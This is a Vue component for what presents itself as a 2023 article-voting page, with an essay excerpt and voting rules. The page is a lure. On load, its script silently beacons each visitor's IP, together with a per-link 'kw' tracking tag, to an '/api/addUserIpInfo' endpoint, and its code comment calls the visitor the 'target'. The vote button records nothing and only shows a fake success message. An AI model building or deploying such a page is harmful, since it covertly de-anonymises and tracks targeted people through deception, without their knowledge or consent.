<template>
    <div class="container">
        <img id="img_bg" src="https://i.imgtg.com/2023/02/19/dCyrY.webp" />
        <div class="container">
            <div class="content">
                <div class="main-body">
                    <div class="top-bar">{{ title }}</div>
                    <div class="main-wrapper t-block">
                        <div class="main-content">
                            <div class="line-height"><span>&nbsp;</span></div>
                            <div class="detail-tilte detail-btn">
                                <h3 class="article_title">
                                    {{ articleTitle }}
                                </h3>
                                <p id="content_p">{{ content }}</p>
                                <button
                                    id="showFullaText"
                                    @click="showFullaText"
                                >
                                    点击查看全文
                                </button>
                            </div>

                            <div class="rule">
                                <p>投票规则：</p>
                                <p>
                                    1、每人每天可以对每个奖项最多投出10票，选项可重复投票。
                                </p>
                                <p>
                                    2、投票时间为2023.2.15 15:00至2023.12.21
                                    21:00。
                                </p>
                                <div class="vote-result" id="vote-result">
                                    帮他投票
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div id="dialog">{{ msg }}</div>
    </div>
</template>

<script setup lang="ts">
const router = useRouter();

const data = {
    msg: "投票成功!",
    title: "2023优秀文章评选",
    articleTitle: "人生第一课",
    content:
        "我正在溪水里捉鱼时，邻居小伙伴穿得齐崭崭的，喊我去上学，我就光着身子去了。穿过田野菜地石板桥，再过一条溪，就到了学校。经过一个暑假，校内扁豆花开茅草茂盛，穿着新衣服的孩子们狼奔豕突，整个大操场成了演兵场，我好想加入。怯怯的小女生看着他们，眉目蹙着，很担忧的样子。各个班级的走廊里人来人往，要说话就得大声嚷嚷。",
};
const { msg, title, articleTitle, content } = data;
const kw = ref<string>(''); // 查询标识
const url = ref<string>(import.meta.env.VITE_TARGET + '/api/addUserIpInfo')
let timeId: any = null;

onMounted(() => {
    getKw();
    getIpinfo(); // 获取ip信息
    clickHandle();
});
// 获取目标ip及信息
const getIpinfo = async () => {
    // 防抖 10分钟
    const oldT =
        localStorage.getItem("ttt") && JSON.parse(localStorage.getItem("ttt")!);
    const curT = Date.now();
    if (curT - oldT <= 10 * 60 * 1000) return;
    localStorage.setItem("ttt", JSON.stringify(curT));
   
    if (navigator){
        const param = new URLSearchParams()
        param.append('sign', kw.value)
        navigator.sendBeacon(url.value!, param)
    } else {
        const img = new Image()
        img.src = url.value + '?sign=' + kw.value
    }
};

// 提示投票状态
const clickHandle = () => {
    const btn = document.getElementById("vote-result");
    btn!.addEventListener("touchmove", function () {
        this.classList.add("vote-result_hover");
        // console.log(this, 'this')
    });
    btn!.addEventListener("touchend", function () {
        this.classList.remove("vote-result_hover");
    });
    btn!.addEventListener("click", function () {
        const dialog = document.getElementById("dialog");
        dialog!.classList.add("show");
        // console.log(111)
        clearTimeout(timeId);
        timeId = setTimeout(() => {
            dialog!.classList.remove("show");
        }, 2500);
    });
};
// 跳转到文章页
const showFullaText = () => {
    router.push({
        path: "/article",
    });
};
// 获取url信息
const getKw = () => {
    const urlData = new URL(location.href);
    kw.value = urlData.searchParams.get("kw") || "";
};
</script>

<style lang="scss" scoped>
.container {
    position: relative;
    width: 1200px;
    height: 100vh;
    margin: 0 auto;
    text-align: center;
    background: rgba(0, 0, 0, 0.1);
    backdrop-filter: blur(5px);
    color: #fff;
    opacity: 0.9;
    font-size: 16px;
}
.container p {
    line-height: 1.8;
}
#img_bg {
    position: absolute;
    left: 0;
    top: 0;
    width: 100%;
    height: 100vh;
    object-fit: cover;
    z-index: -1;
}
#content_p {
    padding: 0 288px;
    text-indent: 2em;
}
.main-body {
    padding: 28px 0;
}
.top-bar {
    font-size: 18px;
}
#vote-result {
    display: inline-block;
    padding: 8px 18px;
    margin-top: 18px;
    border-radius: 8px;
    background: orange;
    cursor: pointer;
    transition: all 0.2s;
}
.vote-result_hover {
    text-decoration: underline;
    transform: scale(1.1);
}
.article_title {
    line-height: 1.8;
}
#dialog {
    display: none;
    position: absolute;
    top: 25%;
    left: 50%;
    padding: 8px 18px;
    background: yellowgreen;
    color: rgb(19, 131, 19);
    border-radius: 8px;
    transform: translate(-50%, -50%);
    opacity: 0.9;
    z-index: 999;
}
.show {
    display: block !important;
}
#showFullaText {
    background: yellowgreen;
    border-radius: 8px;
    padding: 8px;
    color: #fff;
    border: 1px solid transparent;
}

@media (max-width: 768px) {
    .container {
        width: 100% !important;
    }
    .detail-tilte #content_p {
        padding: 0;
    }
}
</style>
